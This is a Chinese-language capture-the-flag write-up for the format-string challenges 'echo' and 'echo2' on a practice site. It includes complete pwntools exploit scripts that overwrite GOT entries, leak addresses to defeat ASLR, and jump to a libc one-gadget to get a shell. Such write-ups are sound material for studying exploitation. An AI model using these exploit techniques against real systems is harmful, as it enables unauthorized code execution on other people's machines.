https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了rop和rop2这两个题目感觉还不错,我把wp分享出来,方便大家学习
echo的要求是
nc hackme.inndy.tw 7711
Tips: format string vulnerability
这个题目提示了是格式化字符串漏洞,所以先了解一下啥是格式化漏洞,参考
http://www.freebuf.com/articles/system/74224.html,http://bobao.360.cn/learning/detail/3654.html,http://bobao.360.cn/learning/detail/3674.html,https://paper.seebug.org/246/ 这四篇文章
下面我用ida打开ehco这个程序看main函数
可以看到这个程序很简单,循环输入,然后把输入的字符串输出到printf函数中,这个也就造成了格式化字符串漏洞
先运行一下程序看一下这个程序干了啥
可以看到这个程序在输入%p的时候把栈中保存的数据打印了出来
再看看程序开启了哪些保护:
看到NX enabled是开启了栈不可执行
可以通过while循环多次利用,很经典的利用方式,由于此题目没有开地址随机化,所以计算出system的plt表地址system_plt_addr,再覆写printf_got为system_plt_addr,关于got表和plt表的介绍可以参考下面的文章:http://blog.csdn.net/linyt/article/details/51635768
之后通过fgets读入"/bin/sh"时,printf("/bin/sh")已经相当于system("/bin/sh"),即可get shell
下面是我的exp
from pwn import *
def debug(addr = '0x080485B8'):
raw_input('debug:')
gdb.attach(r, "b *" + addr)
#objdump -dj .plt test
context(arch='i386', os='linux', log_level='debug')
r = process('/home/h11p/hackme/echo')
#r = remote('hackme.inndy.tw', 7711)
elf = ELF('/home/h11p/hackme/echo')
printf_got_addr = elf.got['printf']
print "%x" % printf_got_addr
system_plt_addr = elf.plt['system']
print "%x" % system_plt_addr
payload = fmtstr_payload(7, {printf_got_addr: system_plt_addr})
print payload #\x10\xa0\x0\x11\xa0\x0\x12\xa0\x0\x13\xa0\x0%240c%7$hhn%132c%8$hhn%128c%9$hhn%4c%10$hhn
debug()
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()
下面我介绍一下fmtstr_payload这个函数,这个是专门为32位程序格式化字符串漏洞输出payload的一个函数,首先第一次参数是一个偏移量,可以由下面的代码提供这个偏移量的值
from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):
p = process("/home/h11p/hackme/echo")
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset
可以看到这个题目的偏移量是7
第二个参数是一个字典,意义是往key的地址,写入value的值
这个题目很简单,很快就解决了
下面是echo2这个题目,这个题目有点难度,我花了几乎两周时间来学习和思考
echo2的要求是
nc hackme.inndy.tw 7712
Tips: ASLR enabled
下面我用ida打开ehco这个程序看main函数
查看echo函数
这个程序的流程和上一个程序的流程没有什么区别,唯一的区别是这个程序是64位的
再看看程序开启了哪些保护:
可以看到这个程序开启了栈不可执行,地址随机化这两个防御措施
所以一开始这个代码调试起来就很有挑战,首先参考一篇文章
http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html
这篇文章最后实现了一个DynELF_manual.py,这个脚本是打印指定进程的基地址,libc的基地址等程序运行时各种地址的信息,这里我看到这个脚本可以显示程序基地址,于是我就把其中的代码抽出来,因为我如果想在程序中下断点的话,必然是基地址+偏移地址,所以我的调试的代码是这样的
from pwn import *
import sys, os
import re
wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
context(arch='amd64', os='linux', log_level='debug')
def leak(address, size):
with open('/proc/%s/mem' % mypid) as mem:
mem.seek(address)
return mem.read(size)
def findModuleBase(pid, mem):
name = os.readlink('/proc/%s/exe' % pid)
with open('/proc/%s/maps' % pid) as maps:
for line in maps:
if name in line:
addr = int(line.split('-')[0], 16)
mem.seek(addr)
if mem.read(4) == "\x7fELF":
bitFormat = u8(leak(addr + 4, 1))
if bitFormat == 2:
global wordSz
global hwordSz
global bits
wordSz = 8
hwordSz = 4
bits = 64
return addr
log.failure("Module's base address not found.")
sys.exit(1)
def debug(addr = 0):
global mypid
mypid = proc.pidof(r)[0]
raw_input('debug:')
with open('/proc/%s/mem' % mypid) as mem:
moduleBase = findModuleBase(mypid, mem)
gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))
这样的传入一个偏移地址就可以在gdb中成功下断了,补充一点说明,gdb中set follow-fork-mode parent这个指令的意思是:默认设置下,在调试多进程程序时GDB只会调试主进程。但是设置follow-fork-mode的话,就可调试多个进程。
set follow-fork-mode parent|child:
进入gdb后默认调试的是parent,要想调试child的话,需要设置set follow-fork-mode child,然后进入调试。当然这种方式只能同时调试一个进程。也就是当你在exit(0);这个函数下断点的时候,不会因为上面调用了system("echo Goodbye");而让gdb跑掉。
好下面开始调试,首先我把断点下在0x000000000000097F这里debug(addr=0x000000000000097F),然后运行,发现程序成功断在你想下断的位置
因为程序开启了随机化地址,所以首先要泄露程序的基地址和libc的基地址还要确定libc的版本
因为函数的返回地址都保存在栈中,所以要多打印一些栈中的信息
def test_leak():
payload="aaaaaaaa."
for i in xrange(20,50):
payload=payload+"%"+str(i)+"$p"
payload=payload+"."
print payload
r.sendline(payload)
r.recv()
因为输入的长度有限,所以每次最多打印50个栈中的数据,在调试的时候会发现除了函数的返回地址,打印一些其他函数的返回地址,比如__libc_start_main
通过这个函数可以把函数返回地址和__libc_start_main的返回地址打印出来,这两个地址分别在41和43这个两个位置上,然后通过对比vmmap显示出来的基地址来计算机这个两个地址的偏移
程序的基地址和libc的基地址都确定了之后,下面要确定libc的版本,参考http://bobao.360.cn/ctf/detail/160.html
在打印出libc_start_main返回地址之后,减去偏移240(这个偏移在调试的时候可以看到,而且这个偏移是十进制显示的)后可以得到libc_start_main的实际地址,比如我这里__libc_start_main实际地址就是0x7f84278b1830-240=0x7F84278B1740 这里计算出来的尾数是740,然后把这个尾数放入libc-database查询一下是属于哪个版本的libc的
发现是属于libc2.23这个版本的
确定版本之后,就去翻一下libc中有没有可以直接拿来用的代码(翻的思路主要是找libc中/bin/sh的引用),最后发现
这个姿势是从https://github.com/LFlare/picoctf_2017_writeup/blob/master/binary/config-console/solve.py 学到的,记下这个偏移地址0xf0897,我把这个偏移地址命名为MAGIC
最后,也是最关键的步骤,就是将exit的got地址覆盖为MAGIC+libc_module,这样程序在执行到exit的时候就跑去执行我想执行的代码了
这里由三个比较坑的地方要注意:
(1)由于64位的地址中会出现/x00,这里会导致printf截断,为了避免截断,要把exit_got_addr地址放在payload最后面
(2)写的时候每次最多只能写两个字节的数据,所以用printf多循环几次以便把数据覆盖完整
(3)%"+lp1+"c%10$hn 这里的lp必须是十进制的,因为地址会变,所以写入的数据有时候是4位有时候是5位,如果是四位就要在payload前面加入一个字符来填充,这样才能使数据对齐
最后我的exp是:
from pwn import *
import sys, os
import re
wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
#MAGIC = 0x0f1117 #locallibc
MAGIC = 0x0f0897 #remotelibc
context(arch='amd64', os='linux', log_level='debug')
def leak(address, size):
with open('/proc/%s/mem' % mypid) as mem:
mem.seek(address)
return mem.read(size)
def findModuleBase(pid, mem):
name = os.readlink('/proc/%s/exe' % pid)
with open('/proc/%s/maps' % pid) as maps:
for line in maps:
if name in line:
addr = int(line.split('-')[0], 16)
mem.seek(addr)
if mem.read(4) == "\x7fELF":
bitFormat = u8(leak(addr + 4, 1))
if bitFormat == 2:
global wordSz
global hwordSz
global bits
wordSz = 8
hwordSz = 4
bits = 64
return addr
log.failure("Module's base address not found.")
sys.exit(1)
def debug(addr = 0):
global mypid
mypid = proc.pidof(r)[0]
raw_input('debug:')
with open('/proc/%s/mem' % mypid) as mem:
moduleBase = findModuleBase(mypid, mem)
gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr)+"\nb 0x7fde6384f0e7") #b vfprintf.c:2022
#r = process('/home/h11p/hackme/echo2')
r = remote('hackme.inndy.tw', 7712)
elf = ELF('/home/h11p/hackme/echo2')
printf_got_addr = elf.got['printf']
printf_plt_addr = elf.plt['printf']
exit_got_addr = elf.got['exit']
exit_plt_addr = elf.plt['exit']
system_got_addr = elf.got['system']
system_plt_addr = elf.plt['system']
#print "%x" % elf.address
#debug(addr=0x000000000000097F)
payload_leak="aaaaaaaa.%43$p.%41$p.%42$p"
def test_leak():
payload="aaaaaaaa."
for i in xrange(40,45):
payload=payload+"%"+str(i)+"$p"
payload=payload+"."
print payload
r.sendline(payload)
r.recv()
def ext(lp_num):
if len(lp_num)==4:
return "c"
return ""
#test_leak()
r.sendline(payload_leak)
recv_all=r.recv().split(".")
base_module=eval(recv_all[-2]) -0xa03
print hex(base_module)
libc_module=eval(recv_all[-3]) -0x20830
print hex(libc_module)
exit_addr=base_module+exit_got_addr
print_addr=base_module+printf_got_addr
system_addr=base_module+system_plt_addr
got_system_addr=base_module+system_got_addr
plt_print_addr=base_module+printf_plt_addr
MAGIC_addr=libc_module+MAGIC
hex_exit_addr=hex(exit_addr)
hex_system_addr=hex(system_addr)
hex_got_system_addr=hex(got_system_addr)
hex_print_addr=hex(print_addr)
hex_plt_print_addr=hex(plt_print_addr)
hex_MAGIC_addr=hex(MAGIC_addr)
print "system_got:"+hex_got_system_addr
print "print_got:"+hex_print_addr
print "system_plt:"+hex_system_addr
print "print_plt:"+hex_plt_print_addr
print "MAGIC:"+hex_MAGIC_addr
#payload="bbbbbbaaaaaaa%154c%9$hhn"+p64(print_addr)
#0x5579cf0ab78c
lp1=str(int(int(hex_MAGIC_addr[-4:],16))-19)
lp2=str(int(int(hex_MAGIC_addr[-8:-4],16))-19)
lp3=str(int(int(hex_MAGIC_addr[-12:-8],16))-19)
payload1 = ext(lp1)+"ccccccbbbbbbaaaaaaa%"+lp1+"c%10$hn"+p64(exit_addr)
payload2 = ext(lp2)+"ccccccbbbbbbaaaaaaa%"+lp2+"c%10$hn"+p64(exit_addr+2)
payload3 = ext(lp3)+"ccccccbbbbbbaaaaaaa%"+lp3+"c%10$hn"+p64(exit_addr+4)
r.sendline(payload1)
r.sendline(payload2)
r.sendline(payload3)
r.sendline('exit')
r.interactive()
效果是